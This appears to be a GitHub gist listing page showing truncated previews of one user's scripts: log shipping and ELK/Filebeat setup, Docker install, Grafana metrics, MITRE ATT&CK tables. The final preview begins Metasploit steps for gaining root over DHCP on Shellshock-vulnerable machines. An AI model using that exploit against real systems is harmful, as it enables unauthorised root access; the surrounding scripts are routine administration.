kimsyversen

#!/bin/bash
# Authors: Martin Eide, Kim Syversen

### Requirements
# Your Dream Machine sends logs to a syslog server
# https://github.com/unifi-utilities/unifios-utilities/tree/main/on-boot-script-2.x must be installed
# This script must be stored in /data/on_boot.d/
# Set chmod +x for this script and run script manually one time to create cron job

# Credits sed query https://stackoverflow.com/questions/39447749/jq-cannot-parse-mongodb-output-document

kimsyversen

Tactics

|Initial Access|Execution|Persistence|Privilege Escalation|Defense Evasion|Credential Access|Discovery|Lateral Movement|Collection|Impact| |-

kimsyversen

Overview

|

Reconnaissance

|

Initial Access

|

Execution

|

Privilege Escalation

|

Persistence

|

Credential Access

|

Impact

| |:-----------------------------------------

kimsyversen

#!/bin/bash 



sudo apt remove docker docker-engine docker.io
sudo apt install apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

kimsyversen

# Filebeat on CLIENT
# Work in progress

# Install
# Src: https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list
sudo apt-get update && sudo apt-get install filebeat

kimsyversen

#!/bin/bash
# Made by Kim Syversen (2018)

sudo apt install -y linux-headers-$(uname -r) build-essential dkms && \

echo -e "\nGo the Virtual box menu and select Devices. Then select Install Guest Additions CD Image. Reboot after installation is completed"

kimsyversen

cat << EOF > client_install.sh

# Dashboards for Kibana is available in filebeat
# Src https://logz.io/blog/shipping-logs-filebeat/

# Add beats repo
echo "deb https://packages.elastic.co/beats/apt stable main" | sudo tee -a /etc/apt/sources.list.d/beats.list

# Install filebeat

kimsyversen

#!/usr/bin/env bash

# How to install:
# curl -L https://gist.githubusercontent.com/kimsyversen/e51286fcfa39a01aed42682347414e9c/raw/5bb25bbcefd665ed8d71f43308b70c83f2c710e6/elk6.sh | sudo bash
# Src https://logz.io/learn/complete-guide-elk-stack

# For client see https://gist.github.com/kimsyversen/758c7a6104ce8ec5e407769c9c27a3b3
# Check for sudo
if [[ $UID != 0 ]]; then
    echo "Please run this script with sudo:"

kimsyversen

#!/usr/bin/python
"""
Prereqs:

sudo pip install influxdb
sudo pip install simplejson

Grafana queries

SELECT derivative(mean("value"),1s) FROM "rx_bytes" WHERE $timeFilter GROUP BY time($interval) fill(null)

kimsyversen

#Exploits Get root via DHCP on machines vulnerable to Shellshock. Source. https://d.uijn.nl/?p=32

1. Start Metasploit:

use exploit/unix/dhcp/bash_environment
set SRVHOST 192.168.1.1
set netmask 255.255.255.0